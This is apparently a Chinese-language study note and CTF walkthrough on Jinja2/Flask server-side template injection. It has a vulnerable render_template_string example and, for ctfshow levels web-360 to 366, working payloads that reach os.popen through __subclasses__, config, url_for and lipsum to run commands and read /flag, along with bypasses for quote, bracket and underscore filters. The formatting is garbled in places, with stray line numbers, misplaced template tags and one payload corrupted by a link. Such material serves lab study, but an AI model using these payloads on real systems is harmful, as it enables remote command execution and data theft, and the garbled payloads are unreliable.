070-Web攻防-Python安全&SSTI代码&靶场及项目等

Python-SSTI注入-类型&形成&利用&项目

  1. 什么是 SST

    • 网站为了显示的更加美观,能够实时让页面显示提交的数据,那么就会接收用户提交的参数值,在页面中显示,这个显示就是前期的模板

    • image-20250701191610806

    • 名称 说明 示例 / 用法
      __class__ 实例对象的类类型 ''. __class__ → <class 'str'>
      __base__ 类型对象的直接基类 <class 'str'>.__base__ → <class 'object'>
      __bases__ 类型对象的所有基类(元组) <class 'A'>.__bases__ → (<class 'B'>,)
      __mro__ 方法解析顺序(继承链顺序) <class 'A'>.__mro__
      __subclasses__() 当前类的所有子类(按加载顺序) object.__subclasses__()
      __init__ 类的初始化方法,类型为函数 <class 'A'>.__init__
      __globals__ 函数的全局作用域(dict) func.__globals__['os']
      __dict__ 类的静态属性、方法、内置属性等 obj.__dict__
      __getattribute__() 获取对象属性的魔术方法 obj.__getattribute__('attr')
      __getitem__() 获取 dict、list、str 等的元素方法 dict['key']dict.__getitem__('key')
      __builtins__ 当前上下文的内建模块集合 __builtins__.open()
      import() 动态导入模块 __import__('os').popen('ls')
      str() 转字符串 str(obj)
      url_for Flask 方法,可访问 __globals__['builtins'] url_for.__globals__['builtins']
      get_flashed_messages Flask 方法,可访问 __globals__['builtins'] 同上
      | `lipsum` | Flask 方法,`__globals__` 中含 `os` 模块,可用于执行命令 | `{{ lipsum.__globals__['os'].popen('ls').read() }}` | | `current_app` | Flask 应用上下文全局变量 | `{{ current_app.config }}` | | `request` | 请求上下文,可间接访问内建模块、open 等 | `request.__init__.__globals__['builtins'].open()` | | `request.args.x1` | GET 参数 | `?x1=...` | | `request.values.x1` | 所有参数(GET+POST) | `request.values['x1']` | | `request.cookies` | Cookies 参数 | `request.cookies['session']` | | `request.headers` | 请求头参数 | `request.headers['User-Agent']` | | `request.form.x1` | POST 表单参数(`application/x-www-form-urlencoded`) | `request.form['x1']` | | `request.data` | 原始 POST 数据 | `request.data` | | `request.json` | JSON 数据(`application/json`) | `request.json['key']` | | `config` | Flask 的配置对象,可从其类进入 `__globals__` 获取 `os` | `{{ config.__class__.__init__.__globals__['os'].popen('ls') }}` | | `g{{g}}` | Flask 提供的全局变量对象,可用于传值 | `{{ g }}` |
  2. 模板是如何产生STTI漏洞的

    • 模板引擎支持程序根据变量动态渲染 HTML 或文本,如果 攻击者能控制模板内容插入模板语法表达式,就可能形成 STTI 漏洞

  3. 各语言框架SSTI

    PHP:smarty、twig

    Python:jinja2、mako、tornad、Django

    java:Thymeleaf、jade、velocity、FreeMarker

    其他:https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI

  4. Python-SSTI形成

    • from flask import Flask, request, render_template_string
      
      from jinja2 import Template
      
      app = Flask(name)
      
      @app.route('/')
      
      def index()
      name = request.args.get('name', default='xiaodi')
      
      t = '''
      
          <html>
      
              <h1>Hello %s</h1>
      
          </html>
      
          ''' % (name)
      
      # 将一段字符串作为模板进行渲染
      
      return render_template_string(t)
      
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

* 这里以我们的参数值去渲染页面 就是典型的SSTI注入
* ![image-20250701192238804](/img/image-20250701192238804.png)
{% raw %}
* `{{}}`这是模板引擎的解析符,不同框架的模板解析引擎都不相同
* ![image-20250701193030205](/img/image-20250701193030205.png)
* ![image-20250701193125686](/img/image-20250701193125686.png)

{% endraw %}
4. Python-SSTI利用

**判断利用**

1. 看那些类可以使用

* ```python
{% raw %}
{{''.__class__.__base___.__subclasses__()}}
  * ![image-20250701193453922](/img/image-20250701193453922.png)
  1. 利用类索引

    • <class 'os._wrap_close'>
      
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

* 使用os函数里面的popen方法能执行计算机

* ![image-20250701195400399](/img/image-20250701195400399.png)

* 利用在页面回显的类,查看那些类可以进一步利用,这里查看`os.wrap__close`有没有进一步可以利用的`popen`方法

* ![image-20250701195807489](/img/image-20250701195807489.png)



3. 找利用类方法

* ```python
{% raw %}
{{''.___class___._base___.__subclasses()[133]__.__init___.__globals__}}
```
{% endraw %}

{% endraw %}
* ![image-20250701200228634](/img/image-20250701200228634.png)

* ![image-20250701200338471](/img/image-20250701200338471.png)

4. 构造利用类方法

* ```
{% raw %}
{{''.___class___._base___.__subclasses()[133]__.__init___.__globals__.popen('calc')}}
{% raw %}
```


* ![image-20250701200454716](/img/image-20250701200454716.png)

5. 其他引用:
{% raw %}
* {{[].**class**.**base**.**subclasses**()}}
* {{[].**class**.**base**.**subclasses**()[133].**init**.**globals**}}
* {{[].**class**.**base**.**subclasses**()[133].**init**.**globals**['popen'](https://www.cnblogs.com/TNpiper/p/'calc')}}

{% endraw %}
6. 其他引用:
{% raw %}
* config:{{config.**class**.**init**.**globals**['os'].popen('calc')}}
* url_for:{{url_for.**globals**.os.popen('calc')}}
* lipsum:{{lipsum.**globals**['os'].popen('calc')}}
* get_flashed_messages:{{get_flashed_messages.**globals**['os'].popen('calc')}}

{% endraw %}
## 绕过限制-CtfShow项目

参考:

[Python SSTI漏洞学习总结 - Tuzkizki - 博客园](https://www.cnblogs.com/tuzkizki/p/15394415.html)

[ctfshow-ssti_ctfshow ssti-CSDN博客](https://blog.csdn.net/m0_74456293/article/details/129429424)



### web-360

1. 黑盒情况下使用模板引擎发现发现这里有对我们穿进去的参数值进行计算
* ![image-20250701204249454](/img/image-20250701204249454.png)

2. 获取里面的函数方法

* ![image-20250701204657980](/img/image-20250701204657980.png)

* 在函数里面查找到`os.wrap_close`函数进行利用处于,因为开头有两行字符串,所有这个方法从下标0开始处于132行

* ![image-20250701205012699](/img/image-20250701205012699.png)

* 找当前函数下面存在的类方法

* ![image-20250701205309714](/img/image-20250701205309714.png)

* 存在popoen方法,构造payload进行进一步利用

* ![image-20250701205425408](/img/image-20250701205425408.png)

* ![image-20250701205647937](/img/image-20250701205647937.png)

* 这个方法只能执行不能读取因此我们要在后面加上read()读取文件

* ```
{% raw %}
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}}
```
{% endraw %}

{% endraw %}
* ![image-20250701205740335](/img/image-20250701205740335.png)

* ```
{% raw %}
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
也能读到flag []代表字符串调用函数就是.
{% raw %}
```

{% endraw %}




### web-362

1. 这关对传入的参数2和3进行了过滤

* ![image-20250701210500966](/img/image-20250701210500966.png)

2. 在当前项目里面用os去执行popen方法

* ````
{% raw %}
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
  • image-20250701210757532

web-363

  1. 构造payload传参发现这关过滤单引号

  2. 这里使用传参的方式不使用单引号拿到flag

    • 
           {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat /flag
           
      1
      2
      3
      4
      5
      6
      7
      8
      9

      {% endraw %}
      * ![image-20250701212558077](/img/image-20250701212558077.png)
      * ![image-20250701212855322](/img/image-20250701212855322.png)

      ### web-364

      这关跟上面差不多 过滤单引号+args

      {% raw %} {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.x](request.values.y).read()}}&x=popen&y=cat /flag
      1
      2
      3
      4
      5
      6

      {% endraw %}
      ### web-365

      这关将我们的单引号和中括号进行了过滤,使用其他方法绕过过滤

      {% raw %} {{url_for.__globals__.os.popen(request.values.x)(request.values.y).read()}}&x=popen&y=cat /flag
      1
      2
      3
      4
      5
      6

      {% endraw %}
      ### web-366

      这关对下划线单引号和中括号进行了过滤

      {% raw %} {{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=globals&b=cat /flag {% endraw %}